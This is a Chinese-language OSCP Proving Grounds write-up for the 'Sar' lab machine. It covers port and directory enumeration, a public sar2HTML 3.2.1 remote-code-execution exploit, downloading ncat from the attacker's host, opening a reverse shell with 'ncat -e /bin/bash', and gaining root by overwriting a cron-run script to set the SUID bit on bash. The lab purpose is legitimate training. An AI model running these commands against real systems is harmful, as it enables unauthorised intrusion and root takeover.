OSCP - Proving Grounds - Sar

主要知识点

  • 路径爆破
  • cronjob 脚本劫持提权

具体步骤

依旧nmap 开始,开放了22和80端口

复制代码
Nmap scan report for 192.168.192.35
Host is up (0.43s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:40:be:13:cf:51:7d:d6:a5:9c:64:c8:13:e5:f2:9f (RSA)
|   256 8a:4e:ab:0b:de:e3:69:40:50:98:98:58:32:8f:71:9e (ECDSA)
|_  256 e6:2f:55:1c:db:d0:bb:46:92:80:dd:5f:8e:a3:0a:41 (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)

但是,貌似80端口没有安装任何服务,是一个apche2的默认页面,不过我们这里dirb一下,发现了robots.txt,而robots.txt里包含了一个sar2HTML的路径

复制代码
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.192.35
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404,429,503,400,502
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/robots.txt           (Status: 200) [Size: 9]
/server-status        (Status: 403) [Size: 279]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

打开后是一个 sar2HTML 3.2.1版本,搜索一下得到一个exp

下载后执行,得到一个远程代码执行的console,但是还是不够,这里根据以往的经验,直接上传一个编译好的ncat,会快很多, 也可以尝试别的方法创建反弹shell

复制代码
C:\home\kali\Documents\OFFSEC\play\DriftingBlues6\Sar> python 49344.py
Enter The url => http://192.168.192.35/sar2HTML
Command => id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command => wget 192.168.45.212:8000/ncat -O /tmp/ncat

Command => ls -l /tmp
total 2848
-rw-r--r-- 1 www-data www-data 2914424 Nov 24 16:20 ncat

Command => chmod 777 /tmp/*

Command => ls -l /tmp
total 2848
-rwxrwxrwx 1 www-data www-data 2914424 Nov 24 16:20 ncat

Command => /tmp/ncat -e /bin/bash 192.168.45.212 80

而本地的nc -nlvp 80命令会收到如下

复制代码
C:\home\kali\Documents\OFFSEC\play\DriftingBlues6\Sar> nc -nlvp 80          
listening on [any] 80 ...
connect to [192.168.45.212] from (UNKNOWN) [192.168.192.35] 58986
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

上传linpeas.sh并运行,则会发现,/var/www/html/finally.sh会每5分钟被sudo执行一次

复制代码
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

查看finally.sh会发现它实际上是调用了write.sh,

所以我们可以直接劫持write.sh来提权

复制代码
www-data@sar:/tmp$ cd /var/www/html
cd /var/www/html
www-data@sar:/var/www/html$ ls -lart
ls -lart
total 40
-rw-r--r-- 1 www-data www-data 10918 Oct 20  2019 index.html
-rw-r--r-- 1 www-data www-data    21 Oct 20  2019 phpinfo.php
drwxr-xr-x 4 www-data www-data  4096 Oct 20  2019 sar2HTML
-rwxr-xr-x 1 root     root        22 Oct 20  2019 finally.sh
-rw-r--r-- 1 root     root         9 Oct 21  2019 robots.txt
-rwxrwxrwx 1 www-data www-data    30 Jul 24  2020 write.sh
drwxr-xr-x 3 www-data www-data  4096 Jul 24  2020 .
drwxr-xr-x 5 www-data www-data  4096 Nov 24 16:29 ..
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh

./write.sh
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
#!/bin/sh

touch /tmp/gateway
www-data@sar:/var/www/html$ echo "chmod +s /bin/bash" >write.sh
echo "chmod +s /bin/bash" >write.sh
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
chmod +s /bin/bash
www-data@sar:/var/www/html$ ls -l /bin/bash
ls -l /bin/bash                                                                                                                                                                                                                             
-rwsr-sr-x 1 root root 1113504 Jun  7  2019 /bin/bash                                                                                                                                                                                       
www-data@sar:/var/www/html$ /bin/bash -p                                                                                                                                                                                                    
/bin/bash -p                                                                                                                                                                                                                                
bash-4.4# cat /root/proof.txt                                                                                                                                                                                                               
cat /root/proof.txt                                                                                                                                                                                                                         
1a75d3fc92ec05ab5ae38c2a066b5118                                                                                                                                                                                                            
bash-4.4# 
相关推荐
MarkHD1 小时前
第二十五天 - Web安全防护 - WAF原理与实现 - 练习:请求过滤中间件
安全·web安全·中间件
2501_915918412 小时前
iOS13描述文件在哪下载 iOS13测试版描述文件下载地址与安装教程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Haku Coder3 小时前
网络安全零基础培训 L1-4 数据库基础
数据库·mysql·网络安全
用户27784491049934 小时前
Python使用Wappalyzer进行Web技术栈分析:揭秘网站技术秘密
安全·黑客
极小狐4 小时前
极狐GitLab 议题和史诗创建的速率限制如何设置?
linux·运维·数据库·git·安全·gitlab·极狐gitlab
newxtc4 小时前
【国家能源集团生态协作平台-注册/登录安全分析报告】
安全·能源
帷幄庸者5 小时前
一键升级OpenSSH/OpenSSL修复安全漏洞
安全
曼岛_5 小时前
[密码学基础]密码学发展简史:从古典艺术到量子安全的演进
安全·密码学
网络之路Blog6 小时前
【实战中提升自己】内网安全部署之dot1x部署 本地与集成AD域的主流方式(附带MAC认证)
服务器·安全·网络之路一天·华为华三数通基础·华为华三网络基础